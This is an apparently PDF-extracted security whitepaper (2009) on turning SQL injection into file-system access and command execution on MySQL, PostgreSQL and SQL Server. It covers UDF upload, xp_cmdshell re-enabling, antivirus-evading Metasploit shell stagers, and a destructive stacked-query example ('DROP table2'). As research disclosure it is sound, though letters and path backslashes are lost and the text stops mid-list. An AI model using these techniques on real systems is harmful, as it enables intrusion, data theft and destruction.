Advanced SQL injection to operating system full control (whitepaper)

Advanced SQL injection to operating
system full control
Bernardo Damele Assumpção Guimarães

bernardo.damele@gmail.com

April 10, 2009

This white paper discusses the security exposures of a server that occur
due to a SQL injection aw in a web application that communicate with
a database.

Over ten years have passed since a famous hacker coined the term SQL
injection and it is still considered one of the major application threats.
A lot has been said on this vulnerability, but not all of the aspects and
implications have been uncovered, yet.

This paper aim is to collate some of the existing knowledge, introduce
new techniques and demonstrate how to get complete control over the
database management system's underlying operating system, le system
and internal network through a SQL injection vulnerability in over-looked
and theoretically not exploitable scenarios.

1

Contents Contents

Contents

I Introduction 4

1 SQL injection 4
2 Web application scripting languages 5
2.1 Batched queries . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 5

3 Batched queries via SQL injection 7
3.1 MySQL . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 7
3.2 PostgreSQL . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 7
3.3 Microsoft SQL Server . . . . . . . . . . . . . . . . . . . . . . . . . . . 7

II File system access 8

4 Read access 8
4.1 MySQL . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 8
4.2 PostgreSQL . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 9

5 Write access 10
5.1 MySQL . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 10
5.2 PostgreSQL . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 11

III Operating system access 14

6 User-Dened Function 14
7 UDF injection 15
7.1 MySQL . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 15
7.1.1 Shared library creation . . . . . . . . . . . . . . . . . . . . . . 15
7.1.2 SQL injection to command execution . . . . . . . . . . . . . . 16
7.2 PostgreSQL . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 18
7.2.1 Shared library creation . . . . . . . . . . . . . . . . . . . . . . 18

8 Stored procedure 20
8.1.1 xp_cmdshell procedure . . . . . . . . . . . . . . . . . . . . . 20

IV Out-of-band connection 22

2

Contents Contents

9 Stand-alone payload stager 22
9.1 Payload stager options . . . . . . . . . . . . . . . . . . . . . . . . . . 23
9.2 Session . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 24

10 SMB relay attack 24
10.1 Universal Naming Convention . . . . . . . . . . . . . . . . . . . . . . 25
10.2 Abuse UNC path requests . . . . . . . . . . . . . . . . . . . . . . . . 25
10.2.1 MySQL . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 26
10.2.2 PostgreSQL . . . . . . . . . . . . . . . . . . . . . . . . . . . . 26
10.2.3 Microsoft SQL Server . . . . . . . . . . . . . . . . . . . . . . 26

11 Stored procedure buer overow 26
11.1 Exploit . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 27
11.2 Memory protection . . . . . . . . . . . . . . . . . . . . . . . . . . . . 29
11.3 Bypass DEP . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 30

V Privilege escalation 32

VI Conclusion 33

12 Acknowledgments 33

3

1 SQL INJECTION

Part I
Introduction
SQL injection attack is not new. The basic concept behind this attack has been
described over ten years ago by Je Forristal
1 on Phrack2 issue 54[74].

The Open Web Application Security Project
3 stated in the OWASP Top Ten

project
4 that injection aws[58], particularly SQL injection, is the most common

and dangerous web application vulnerability, second only to Cross Site Scripting.

The question now is: How far can an attacker go by exploiting a SQL injection? .
This is addressed in this paper.

1 SQL injection
The OWASP Guide[57] denes SQL injection as follows:

A SQL injection attack consists of insertion or injection of a SQL
query via the input data from the client to the application. A successful
SQL injection exploit can read sensitive data from the database, modify
database data (Insert/Update/Delete), execute administration operations
on the database (such as shutdown the DBMS), recover the content of
a given le present on the DBMS le system and in some cases issue
commands to the operating system. SQL injection attacks are a type of
injection attack, in which SQL commands are injected into data-plane
input in order to eect the execution of predened SQL commands.

Although a common problem with web applications, this vulnerability can actually
aect any application that communicates with a database management system via
Structured Query Language .
5

A SQL injection occurs when the application fails to properly sanitize user-supplied
input used in SQL queries. In this way an attacker can manipulate the SQL state-
ment that is passed to the back-end database management system. This statement
will run with the same permissions as the application that executed the query. From
now on I will refer to this user as session user.

1
Je Forristal, also known as RFP and rain.forest.puppy, is an old school hacker currently employed
at Zscaler Cloud Security. He is also famous for his personal Full Disclosure Policy.
2
Phrack is an electronic magazine written by and for hackers rst published November 17, 1985.
3
The Open Web Application Security Project (OWASP) is a worldwide free and open community
focused on improving the security of application software.
4
The OWASP Top Ten represents a broad consensus about what the most critical web application
security aws are. Project members include a variety of security experts from around the world
who have shared their expertise to produce this list.
5
Structured Query Language (SQL) is a database computer language designed for the retrieval and
management of data in relational database management systems (RDBMS), database schema
creation and modication, and database object access control management.

4

2 WEB APPLICATION SCRIPTING LANGUAGES

Modern database management systems are powerful applications. They usually
provide built-in instruments to interact with the underlying le system and, in some
cases, with the operating system. However, when they are absent, a motivated
attacker can still access the le system and execute arbitrary commands on the
underlying system: this paper will walk through how this can be achieved via a SQL
injection vulnerability, focusing on web-based applications.

2 Web application scripting languages
There are many web application dynamic scripting languages: some of the most
consolidated and used are PHP , ASP
6 7 and ASP.NET8 .

All of these languages have pro and cons from either a web developer or a pene-
tration tester perspective.
They also have built-in or third-party connectors to interact with database man-
agement systems via SQL.
A vast majority of web applications store and retrieve data from databases via
SQL statements.

On PHP, I used native functions used to connect and query the DBMS.
On ASP, I used third-party connectors: MySQL Connector/ODBC 5.1 [54] for
MySQL and PostgreSQL ANSI driver for PostgreSQL.
On ASP.NET, I also used third-party connectors: Connector/Net 5.2.5 [53] for
MySQL and Npgsql 1.0.1 [73] driver for PostgreSQL.

The third-party connectors are available from database software vendors' websites.

2.1 Batched queries

In Structured Query Language, batched queries, also known as stacked queries, is the
ability to pass multiple SQL statements, separated by a semicolon, to the database.
These statements will then be executed sequentially from left to right by the DBMS.
Even though they are not related to one another, failure of one will cause the follow-
ing statements to not be evaluated.

The following one is an example of batched queries:

SELECT col FROM table1 WHERE id=1; DROP table2

PHP, ASP and ASP.NET scripting languages do support batched queries when
interacting with the back-end DBMS with a couple of exceptions. The following

6
PHP is a scripting language originally designed for producing dynamic web pages. It has evolved
to include a command line interface capability and can be used in standalone graphical appli-
cations.
7
Active Server Pages (ASP), also known as Classic ASP, was Microsoft's rst server-side script
engine for dynamically-generated web pages.
8
ASP.NET is a web application framework developed and marketed by Microsoft to allow pro-
grammers to build dynamic web sites, web applications and web services.

5

2.1 Batched queries 2 WEB APPLICATION SCRIPTING LANGUAGES

table claries where batched queries are supported in a default installation.

Figure 1: Programming languages and their support for batched queries

Batched queries functionality is a key step for the understanding of this research.

6

3 BATCHED QUERIES VIA SQL INJECTION

3 Batched queries via SQL injection
Testing for batched queries support in the web application via SQL injection can be
done by appending to the vulnerable parameter, a SQL statement that delays the
back-end DBMS responding. This can be achieved by calling a sleep function or by
performing a heavy SELECT that takes time to return, this technique is also known
as heavy queries blind SQL injection.

3.1 MySQL

It is necessary to ngerprint the DBMS software version before testing for batched
queries support: MySQL 5.0.12 introduced[36] the SLEEP()[42] function whereas on
previous versions the BENCHMARK()[43] function (a heavy queries blind SQL injection)
could be abused.

3.2 PostgreSQL

It is necessary to ngerprint the DBMS software version before testing for batched
queries support: PostgreSQL 8.2 introduced[60] the PG_SLEEP()[61] function whereas
on previous versions the generate_series()[62] function (a heavy query blind SQL
injection) could be abused.
The attacker could also create a custom SLEEP() function from the operating
system built-in libc library.

3.3 Microsoft SQL Server

Microsoft SQL server has a built-in statement for delaying the response from the
DBMS: WAITFOR[32] used with its argument DELAY followed by time (e.g. WAITFOR
DELAY '0:0:5').

7

4 READ ACCESS

Part II
File system access
In this section I explain how to exploit a SQL injection to get read and write access
on the back-end DBMS underlying le system.
Depending upon the conguration, it can be very complex to do and may re-
quire attention to the limits imposed by both the DBMS architecture and the web
application.

4 Read access
During a penetration test it can be very useful to have read access to les on the
compromised machine: it can lead to disclosure of information that helps the attacker
to perform further attacks as it can lead to sensible users' information leakage.

4.1 MySQL

MySQL has a built-in function that allows the reading of text or binary les on the
underlying le system: LOAD_FILE()[44].
The session user must have the following privileges[45]: FILE and CREATE TABLE
for the support table (only needed via batched queries).
On Linux and UNIX systems, the le must be owned by the user that started the
MySQL process (usually mysql) or be world-readable. On Windows, MySQL runs
by default as Local System, so via the database management system it is possible
to read any existing le.

The le content can be retrieved via either UNION query, blind or error based SQL
injection technique. However, there are some limitations to consider when calling
the LOAD_FILE() function:

• The maximum length of le characters displayed is 5000 if the column data-
type where the le content is appended is varchar;
• The content is truncated to a few characters in many cases when it is retrieved
via error based SQL injection technique;

• The le can be in binary format (e.g. an ELF on Linux or a portable executable
on Windows) and, depending on the web application language, it can not
be displayed within the page content via UNION query or error based SQL
injection technique.

To bypass these limitations the steps are:

• Via batched queries:

• longtext;
Create a support table with one eld, data-type

• Use LOAD_FILE() function to read the le content and redirect via INTO
DUMPFILE[48] the corresponding hexadecimal encoded[47] string value
into a temporary le;

8

4.2 PostgreSQL 4 READ ACCESS

• Use LOAD DATA INFILE[46] to load the temporary le content into the
support table.

• Via any other SQL injection technique:

• Retrieve the length of the support table's eld value;

• Dump the support table's eld value in chunks of 1024 characters.

Now the chunks need to be assembled into a single hexadecimal encoded string which
then needs to be decoded and written on a local le.

4.2 PostgreSQL

PostgreSQL has a built-in statement that allows the copying of text le from the
underlying le system to a table's text eld: COPY[63].
The session user must be a super user to call this statement .
9

The le must be owned by the user that started the PostgreSQL process (usually
postgres) or be world-readable.
The le content can be retrieved via either UNION query, blind or error based
SQL injection technique. However, the web application programming language must
support batched queries.

The steps are:


• Create a support table with one eld, data-type bytea;
• Use COPY statement to load the content of the text le into the support
table.


• Count the number of entries in the support table;

• Dump the support table's eld entries base64 encoded via ENCODE function[64].
Now the dumped entries need to be assembled into a single base64 encoded string
which then needs to be decoded and written on a local le.

The COPY statement can not be used to read binary les since PostgreSQL 7.4:
although a custom user-dened function can be used to read binary les instead.
This user-dened function takes in input a binary le and output its content as an
hexadecimal encoded string on a temporary text le. The attacker can then proceed
to read this text le as detailed above.

9
There is also a native function which aim is to read les, lo_import()[66], but it returns an OID
that can later be passed as an argument to lo_export() function[66] to point to the referenced
le and copy its content to another le path: It does not return the content so these two functions
can not be used to read le via SQL injection.

9

4.3 Microsoft SQL Server 5 WRITE ACCESS


Microsoft SQL Server has a built-in statement that allows the insertion of either a
text or a binary les content from the le system to a table's VARCHAR eld: BULK
INSERT [33].
The session user must have the following privileges: INSERT, ADMINISTER BULK
OPERATIONS and CREATE TABLE.
Microsoft SQL Server 2000 runs by default as Administrator, so the database
management system can read any existing le. This is the same on Microsoft SQL
Server 2005 and 2008 when the database administrator has congured it to run
either as Local System (SYSTEM) or as Administrator, otherwise the le must be
world-readable which happens very often on Windows.
The le content can be retrieved via either UNION query, blind or error based
SQL injection technique. However, the web application programming language must
support batched queries.

The steps are:


• Create a support table (table1) with one eld, data-type text;
• Create another support table (table2) with two elds, one data-type INT
IDENTITY(1, 1) PRIMARY KEY and the other data-type VARCHAR(4096);
• Use BULK INSERT statement to load the content of the le as a single entry
into the support table table1;

• Inject SQL code to convert[27] the support table table1 entry into its
hexadecimal encoded value then INSERT 4096 characters of the encoded
string into each entry of the support table table2.


• Count the number of entries in the support table table2;
• Dump the support table table2's varchar eld entries sorted by PRIMARY
KEY eld.

Now the entries need to be assembled into a single hexadecimal encoded string which
then needs to be decoded and written on a local le.

5 Write access
A strong proof of success of a penetration test is the ability to write on the underlying
le system, as well as the execution of arbitrary commands. This will be explained
later in the paper.

5.1 MySQL

MySQL has a built-in SELECT clause that allows the outputting of data into a le:
INTO DUMPFILE[48].
The session user must have the following privileges: FILE and INSERT, UPDATE and
CREATE TABLE for the support table (only needed via batched queries).

10

5.2 PostgreSQL 5 WRITE ACCESS

The created le is always world-writable. On Linux and UNIX systems it is owned
by the user that started the MySQL process (usually mysql). On Windows, MySQL
runs by default as Local System, and the le will be world-readable by everyone.

The le can be written via either UNION query or batched query SQL injection
technique. Nevertheless there are some limitations to be considered when using the
UNION query technique:

• If the injection point is on a GET parameter, some web servers impose a limit
on the length of the parameters' request;

• It is not possible to append data to an existing le via INTO DUMPFILE clause.

However, these limitations can be bypassed if the web application supports batched
queries with MySQL as the back-end DBMS: ASP.NET is one of these programming
languages.

The steps are:

• On the attacker box:

• Encode the local le content to its corresponding hexadecimal string;

• Split the hexadecimal encoded string into chunks long 1024 characters
each.


• Create a support table with one eld, data-type longblob;
• INSERT[49] the rst chunk into the support table's eld;
• UPDATE[50] the support table's eld by appending to the entry the chunks
from the second to the last;

• Export the hexadecimal encoded le content from the support table's
entry to the destination le path by using SELECT's INTO DUMPFILE clause.
This is possible because on MySQL, a query like SELECT 0x41 returns the
corresponding ASCII character A.
It is possible to check if the le has been correctly written by retrieving the LENGTH[47]
value of the written le.

It should be noted that abusing UNION query SQL injection technique to upload
les to the database server can also be done when the web application language is
ASP and PHP as they do not support batched queries by default.

5.2 PostgreSQL

PostgreSQL has native functions[66] to deal with Large Objects[65]: lo_create(),
lo_export() and lo_unlink(). These functions have been designed to store within
the database large les or reference local les via pointers, called OID, that can be
then copied to other les on the le system. However, it is possible to abuse these
functions and successfully write text and binary les on the underlying le system
via SQL injection, even though the source le is on the attacker machine.

11


The session user must be a super user to deal with Large Objects [65, 67].
On Linux and UNIX systems the created le has permissions set to 644 and it
is owned by the user that started the PostgreSQL process (usually postgres). On
Windows, PostgreSQL runs by default as postgres, so the le owner is postgres.

The le can only be written via batched queries SQL injection technique.

The steps are:


• Encode the local le content to its corresponding base64 string;

• Split the base64 encoded string into chunks long 1024 characters each.


• Create a support table with one eld, data-type text;
• INSERT[69] the rst chunk into the support table's eld;
• UPDATE[70] the support table's eld by appending to the entry the chunks
from the second to the last;

• Create a large object with a specic OID[66];
• UPDATE[70] the pg_largeobject[67] system table entry corresponding
to our OID by setting the data eld value to the decoded[64] value of our
support table's eld entry;

• Export the data corresponding to our OID to the destination le path via
lo_export().
Note that lo_export() exports only the rst 8192 bytes from the pg_largeobject
table to the destination le, but this does not limit any of the attacks de-
scribed later on this paper.

It is possible to check if the original le content has been correctly written to the
pg_largeobject table by retrieving the LENGTH[64] value of the table's data eld
corresponding to our OID. This value corresponds to the same size of the written
le if it is smaller than 8192 bytes.


Microsoft SQL Server has a native extended procedure to run commands on the
underlying operating system: xp_cmdshell()[34]. This extended procedure can be
abused to execute the echo command redirecting its text arguments to a le. Refer
to the section 8.1.1 for further details on this extended procedure.
The session user must have CONTROL SERVER permission to call this extended pro-
cedure.
The created le is owned by the user that started the Microsoft SQL Server process
and is world-readable.

The steps are:


12


• Split the le to upload in chunks of 65280 bytes (debug script le size
limit)
10 ;

• Convert each chunk to its plain text debug script[3] format.


• For each plain text chunk's debug script:

∗ Execute the echo command via xp_cmdshell() to output the debug
script to a temporary le all the lines;
∗ Recreate the chunk from the uploaded debug script by calling the
Windows debug executable via xp_cmdshell();
∗ Remove the temporary debug script.

• Assemble the chunks with Windows copy executable to recreate the orig-
inal le;

• Move the assembled le to the destination path.

It is possible to check if the le has been correctly written. The steps via batched
queries are:

• Use BULK INSERT statement to load the content of the le as a single entry into
the support table;

• Retrieve the DATALENGTH value of the support table's rst entry.

10
This technique was initially implemented by ToolCrypt Group on their dbgtool

13

6 USER-DEFINED FUNCTION

Part III
Operating system access
Arbitrary command execution on the back-end DBMS underlying operating system
can be achieved with all of the three database softwares. The requirements are: high
privileged session user and batched queries support on the web application
11 .

The techniques described in this chapter allow the execution of commands and
the retrieval of their standard output via blind, UNION query or error based SQL
injection technique: the command is executed via SQL injection and the standard
output is also retrieved over HTTP protocol, this is an inband connection.

6 User-Dened Function
Wikipedia denes User-Dened Function (UDF) as follows:

In SQL databases, a user-dened function provides a mechanism for
extending the functionality of the database server by adding a function
that can be evaluated in SQL statements. The SQL standard distinguishes
between scalar and table functions. A scalar function returns only a single
value (or NULL).
[...] User-dened functions in SQL are declared using the CREATE
FUNCTION statement.

On modern database management systems, it is possible to create functions from
shared libraries
12 located on the le system. These functions can then be called
within the SELECT statement like any other built-in string function.
All of the three database management systems have a set of libraries and API
13

that can be used by developers to create user-dened functions.
On Linux and UNIX systems the shared library is a shared object[81] (SO) and
can be compiled with GCC[13]. On Windows it is a dynamic-link library[80] (DLL)
and can be compiled with Microsoft Visual C++[23].
In order to compile a shared library, it is necessary to have the specic DBMS
development libraries installed on the operating system. For instance, on recent
versions of Debian GNU/Linux like systems to be able to compile a UDF for Post-
greSQL you need to have installed the postgresql-server-dev-8.3 package. With
Windows, the development library path need to be added manually to the Microsoft
Visual C++ project settings.
The next step is to place the shared library in a path where the DBMS looks for
them when creating functions from shared libraries: where PostgreSQL allows the

11
Only two on the nine possible combinations taken into account on table on page 6, do not support
batched queries and consequently command execution is not possible via SQL injection: PHP
with MySQL and ASP with MySQL.
12
Shared libraries are libraries that are loaded by programs when they start. When a shared library
is installed properly, all programs that start afterwords automatically use the new shared library.
13
An application programming interface (API) is a set of routines, data structures, object classes
and/or protocols provided by libraries and/or operating system services in order to support the
building of applications.

14

7 UDF INJECTION

shared library to be placed in any readable/writable folder on either Windows or
Linux, MySQL needs the binary le to be placed in a specic location which varies
depending upon the particular software version and operating system.

7 UDF injection
Attackers have so far under-estimated the potential of using UDF to control the un-
derlying operating system. Yet, this over-looked area of database security potentially
provides routes to achieve command execution.

By exploiting a SQL injection aw it is possible to upload a shared library which
contains two user-dened functions:

• sys_eval(cmd) - executes an arbitrary command, and returns it's standard
output;

• sys_exec(cmd) - executes an arbitrary command, and returns it's exit code.

After uploading the binary le on a path where the back-end DBMS looks for shared
libraries, the attacker can create the two user-dened functions from it: this would
be UDF injection.

Now, the attacker can call either of the two functions: if the command is executed
via sys_exec(), it is executed via batched queries technique and no output is re-
turned. Otherwise, if it is executed via sys_eval(), a support table is created, the
command is run once and its standard output is inserted into the table and either
the blind algorithm, the UNION query or the error based technique can be used to
retrieve it by dumping the support table's rst entry; after the dump, the entry is
deleted and the support table is clean to be used again.

7.1 MySQL

7.1.1 Shared library creation
On MySQL, it is possible to create a shared library that denes a user-dened func-
tion to execute commands on the underlying operating system. Marco Ivaldi demon-
strated, some years ago, that his shared library[20] dened a UDF to execute a
command. However, it is clear to me, that this has two limitations:

• It is not MySQL 5.0+ compliant because it does not follow the new guidelines
to create a proper UDF;

• It calls C system() function to execute the command and returns always in-
teger 0.

This expression of UDF is almost useless on new MySQL server versions because if
an attacker wants to get the exit status or the standard output of the command he
can not.

15

7.1 MySQL 7 UDF INJECTION

In fact, I have found that it is possible to use UDF to execute commands and
retrieve their standard output via SQL injection.
I rstly focus my attention on the UDF Repository for MySQL and patched one
of their codes: lib_mysqludf_sys[79] by adding the sys_eval() function to exe-
cute arbitrary commands and returns the command standard output. This code is
compatible with both Linux and Windows.
The patched source code is available on sqlmap subversion repository[5].

The sys_exec() function can be used to execute arbitrary commands and has two
advantages over Marco Ivaldi's shared library:

• It is MySQL 5.0+ compliant and it compiles on both Linux as a shared object
and on Windows as a dynamic-link library;

• It returns the exit status of the executed command.

A guide to create a MySQL compliant user-dened function in C can be found on
the MySQL reference manual[41]. I found also useful Roland Bouman's step by step
blog post[75] on how to compile the shared library on Windows with Microsoft Visual
C++.

The shared library size on Windows is 9216 bytes and on Linux it is 12896 bytes.
The smaller the shared library is, the quicker it is uploaded via SQL injection. To
make it as small as possible the attacker can compile it with the optimization setting
enabled and, once compiled, it is possible to reduce the dynamic-link library size by
using a portable executable packer like UPX[17] on Windows. The shared object
size can be reduced by discarding all symbols with strip command on Linux. The
resulting binary le size on Windows is 6656 bytes and on Linux it is 5476 bytes:
respectively 27.8% and 57.54% less than the initial compiled shared library.

It is interesting to note that a MySQL shared library compiled with MySQL 6.0
development libraries is backward compatible with all the other MySQL versions, so
by compiling one, that same binary le can be reused on any MySQL server version
on the same architecture and operating system.

7.1.2 SQL injection to command execution
The session user must have the following privileges: FILE and INSERT on mysql
database, write access on one of the shared library paths and the privileges needed
to write a le, refer to section 5.1.

The steps are:

• Via blind or UNION query are:

• Fingerprint the MySQL version for two reasons:

∗ Choose the SQL statement to test for batched queries support as
explained on section 3.1;
∗ Identify a valid shared libraries absolute le path as explained in the
next paragraph.

16

7.1 MySQL 7 UDF INJECTION

• Check if sys_exec() and sys_eval() functions already exist to avoid
unwanted data overwriting.

• Test for batched queries support;


• Upload the shared library to an absolute le system path where the
MySQL server looks for them as described below;

• Create[51] the two user-dened functions from the shared library;

• Execute the arbitrary command via either sys_exec() or sys_eval().
Depending on the MySQL version, the shared library must be placed in dierent le
system paths:

• On MySQL 4.1 versions below 4.1.25, MySQL 5.0 versions below 5.0.67 and
MySQL 5.1 versions below 5.1.19 the shared library must be located in a di-
rectory that is searched by your system's dynamic linker: on Windows the
shared object can be uploaded to either C:WINDOWS, C:WINDOWSsystem,
C:WINDOWSsystem32, @@basedirbin or to @@datadir14 . On Linux and
UNIX systems the dynamic-link library can be placed on either /lib, /usr/lib
15
or any of the paths specied in /etc/ld.so.conf le ;

• MySQL 5.1 version 5.1.19[39] enforced the expected behavior of the system
variable plugin_dir[40] which species one absolute le system path where the
shared library must be located
16 . The same applies for all versions of MySQL

6.0[52].
From MySQL 5.1[51] and MySQL 6.0[52] manuals:

CREATE[AGGREGATE] FUNCTION function_name RETURNS
{STRING|INTEGER|REAL|DECIMAL} SONAME shared_library_name

[...] shared_library_name is the basename of the shared object le
The le must be
that contains the code that implements the function.
located in the plugin directory. This directory is given by the
value of the plugin_dir system variable .
• MySQL 4.1 version 4.1.25[35] and MySQL 5.0 version 5.0.67[38] also intro-
duced the system variable plugin_dir: by default it is empty and the same
behavior of previous MySQL versions is applied.

From MySQL 5.0 manual[37]:

14
On Windows, MySQL runs as Local System (SYSTEM) user which by default is high privileged
and can read and write les to all of the valid shared library paths.
15
On recent versions of Linux and UNIX systems, MySQL runs as mysql user. By default none of
the valid shared library paths are writable by this user.
16
By default this variable value is set to MySQL installation path/lib/plugin and the plugin/
subfolder does not exist: the server administrator must have previously created it, otherwise the
attacker will not be able to upload the binary le in such folder and consequently no command
execution will be possible.

17

7.2 PostgreSQL 7 UDF INJECTION

[...] As of MySQL 5.0.67, the le must be located in the plugin di-
rectory. This directory is given by the value of the plugin_dir system
variable. If the value of plugin_dir is empty, the behavior that
is used before 5.0.67 applies: The le must be located in a di-
rectory that is searched by your system's dynamic linker .

7.2 PostgreSQL

7.2.1 Shared library creation
On PostgreSQL, arbitrary command execution can be achieved in three ways:

• Taking advantage of libc built-in system() function: Nico Leidecker described
this technique in his paper Having Fun With PostgreSQL[55, 56];

• Creating a proper Procedural Language Function[71]: Daniele Bellucci described[59]
the steps to go through to do that by using PL/Perl and PL/Python languages;

• Creating a C-Language Function[72] (UDF): David Litcheld described this
technique in his book The Database Hacker's Handbook, chapter 25 titled
PostgreSQL: Discovery and Attack. The sample code is freely available from
the book homepage[11].

All of these methods have at least one limitation that make them useless on recent
PostgreSQL server installations:

• The rst method only works until PostgreSQL version 8.1 and returns the
command exit status, not the command standard output. Since PostgreSQL
version 8.2-devel all shared libraries must include a magic block.
From PostgreSQL 8.3 manual[72]:

A magic block is required as of PostgreSQL 8.2. To include a
magic block, write this in one (and only one) of the module source
les, after having included the header fmgr.h :

#ifdef PG_MODULE_MAGIC
PG_MODULE_MAGIC;
#endif

The #ifdef test can be omitted if the code doesn't need to compile
against pre-8.2 PostgreSQL releases.

• The second method only works if PostgreSQL server has been compiled with
support for one of the procedural languages. By default they are not available,
at least on most Linux distributions and Windows;

• The third method works until PostgreSQL version 8.1 for the same reason of
the rst method and it has the same behavior: no command standard output.
Anyway, it can be patched to include the magic block and make it work
properly; also on PostgreSQL versions above 8.1.

18

7.2 PostgreSQL 7 UDF INJECTION

I ported the C source code of the MySQL shared library described above to Post-
greSQL and created a shared library called lib_postgresqludf_sys with two C-
Language Function. The source code is available on sqlmap subversion repository[5].

The shared library size on Windows is 8192 bytes and on Linux it is 8567 bytes.
The smallest the shared library is, the quickest it is uploaded via SQL injection. To
make it as small as possible the attacker can compile it with the optimization setting
enabled and, once compiled, it is possible to reduce the dynamic-link library size by
using a portable executable packer like UPC[17] on Windows and the shared object
size by discarding all symbols with strip command on Linux. The resulting binary
le size on Windows is 6144 bytes and on Linux it is 5476 bytes: respectively 25%
and 36.1% less than the initial compiled shared library.

The shared library compiled with PostgreSQL 8.3 development libraries is not
backward compatible with any other PostgreSQL version: the shared library must
be compiled with the same PostgreSQL development libraries version where you want
to use it.

The session user must be a super user.

The steps are:

• Via blind or UNION query:

• Fingerprint the PostgreSQL version in order to choose the SQL statement
to test for batched queries support as explained on section 3.2;

• Check if sys_exec() and sys_eval() functions already exist to avoid
unwanted data overwriting.

• Test for batched queries support;


• Upload the shared library to an absolute le system path where the user
running PostgreSQL has read and write access
17 , this can be /tmp on
Linux and UNIX systems and C:WINDOWSTemp on Windows;

• Create[68] the two user-dened functions from the shared library
18 ;

• Execute the arbitrary command via either sys_exec() or sys_eval().
It is interesting to note that PostgreSQL is more exible than MySQL and allows to
specify the absolute path where the shared library is.

17
On both Linux and Windows, PostgreSQL runs the unprivileged user postgresql.
18
On Windows the postgres user has read and write access on PostgreSQL installation
path/data. The shared library can be created in this path by not specifying any path when
using lo_export() as explained in section 5.2. That said, when the UDF is created from the
shared library, the absolute path can be omitted.

19

8 STORED PROCEDURE

8 Stored procedure
Wikipedia denes Stored Procedure as follows:

A stored procedure is a subroutine available to applications accessing
a relational database system. Stored procedures are actually stored in the
database data dictionary.
[...] Stored procedures are similar to user-dened functions. The major
dierence is that UDFs can be used like any other expression within SQL
statements, whereas stored procedures must be invoked using the CALL
statement or EXECUTE statement.

On modern database management system it is possible to create stored procedures to
execute complex tasks. Some DBMS have also built-in procedures, Microsoft SQL
Server and Oracle for instance. Usually stored procedures make deep use of the
DBMS specic dialect: respectively Transact-SQL and PL/SQL.


8.1.1 xp_cmdshell procedure
Microsoft SQL Server has a built-in extended stored procedure to execute commands
and return their standard output on the underlying operating system: xp_cmdshell()[29,
30, 31].
This stored procedure is enabled by default on Microsoft SQL Server 2000, whereas
on Microsoft SQL Server 2005 and 2008 it exists but it is disabled by default: it
can be re-enabled by the attacker remotely if the session user is a member of the
sysadmin server role. On Microsoft SQL Server 2000, the sp_addextendedproc
stored procedure can be used whereas on Microsoft SQL Server 2005 and 2008, the
sp_configure stored procedure can be used.
If the procedure re-enabling fails, the attacker can create a new procedure from
scratch using shell object if the session user has the required privileges. This tech-
nique has been illustrated numerous times and can be still used if the session user is
high privileged[2].
On all Microsoft SQL Server versions, this procedure can be executed only by users
with the sysadmin server role. On Microsoft SQL Server 2005 and 2008 also users
specied as proxy account can run this procedure.

The session user must have CONTROL SERVER permission.
The rst thing to do is to check if xp_cmdshell() extended procedure exists and
is enabled: re-enable it if it is disabled and create it from scratch if the creation fails.

If the attacker wants the command standard output:

• Execute the command via xp_cmdshell() procedure redirecting its standard
output to a temporary le;

20

8.1 Microsoft SQL Server 8 STORED PROCEDURE

• Use BULK INSERT statement to load the content of the temporary le as a single
entry into the support table;

• Remove the temporary le via xp_cmdshell();
• Retrieve the content of the support table's entry;

• Delete the content of support table.

Otherwise:

• Execute the command via xp_cmdshell() procedure.

21

9 STAND-ALONE PAYLOAD STAGER

Part IV
Out-of-band connection
In the previous chapter I discussed two techniques to execute commands on the
underlying operating system: UDF injection and stored procedure use.
In this chapter I discuss how to establish an out-of-band connection between
the attacker host and the database server by exploiting a SQL injection aw in
a web application. Once the attack is successful, a command prompt or a graphical
user interface full-duplex TCP connection is established between the two endpoints.

This is possible in practice by integrating the Metasploit Framework[76] in sqlmap[4]
and requires both back-end DBMS underlying le system access and inband com-
mand execution, both explained previously.

From the Metasploit project site:

The Metasploit Framework is a development platform for creating se-
curity tools and exploits. [...] The framework consists of tools, libraries,
modules, and user interfaces. The basic function of the framework is a
module launcher, allowing the user to congure an exploit module and
launch it at a target system. If the exploit succeeds, the payload is exe-
cuted on the target and the user is provided with a shell to interact with
the payload.

9 Stand-alone payload stager
An out-of-band connection between the attacker and the database server can be
achieved by forging a stand-alone payload
19 stager20 , based on the user's options with

Metasploit'smsfpayload tool. Then it is necessary to encode
21 it with Metasploit's

msfencode tool, to bypass antivirus softwares, upload it via SQL injection to the le
system temporary folder and execute it.
Depending on the user's options, the stager will bind and listen on a TCP port
on the database server waiting for an incoming connection or it will connect back
to a TCP port on the attacker host. Either bind or reverse connection, Metas-
ploit's msfcli22 tool has to be executed on the attacker host before the payload

19
The payload is the arbitrary code (shellcode) that is executed on the target system after a
successful exploit attempt or after the execution of the stager. Payloads can be either command
strings or raw instructions. They typically build a communication channel between Metasploit
and the target host.
20
A stager payload is an implementation of a payload that establishes some communication channel
with the attacker to read in or otherwise obtain a second stage payload to execute. For example,
a stager might connection back to the attacker on a dened port and read in code to execute.
21
An encoder is used to generate transformed versions of raw payloads in a way that allows them
to be restored to their original form at execution time and then subsequently executed.
22
msfcli is the Metasploit Command Line Interface. This interface takes a Metasploit module
name as the rst parameter, followed by the options in a VAR=VAL format, and nally an action
code to specify what should be done.

22

9.1 Payload stager options 9 STAND-ALONE PAYLOAD STAGER

stager is executed on the database server: the Metasploit's multi-handler exploit
23 ,

exploits/multi/handler.rb[78], is used on the attacker endpoint.

9.1 Payload stager options

Metasploit has numerous payloads for several operating systems and architectures.
sqlmap asks the attacker for:

• Connection type, it can be bind or reverse:

• Back-end DBMS server address if dierent from the web server address
in case of bind connection.

• TCP port to listen on the attacker host in case of reverse connection or on the
database server in case of bind connection;

• Multistage payload to use among:

• shell24 if the back-end DBMS underlying operating system is either Win-
dows or Linux;

• meterpreter25 if the back-end DBMS underlying operating system is
Windows[21];

• vnc26 if the back-end DBMS underlying operating system.

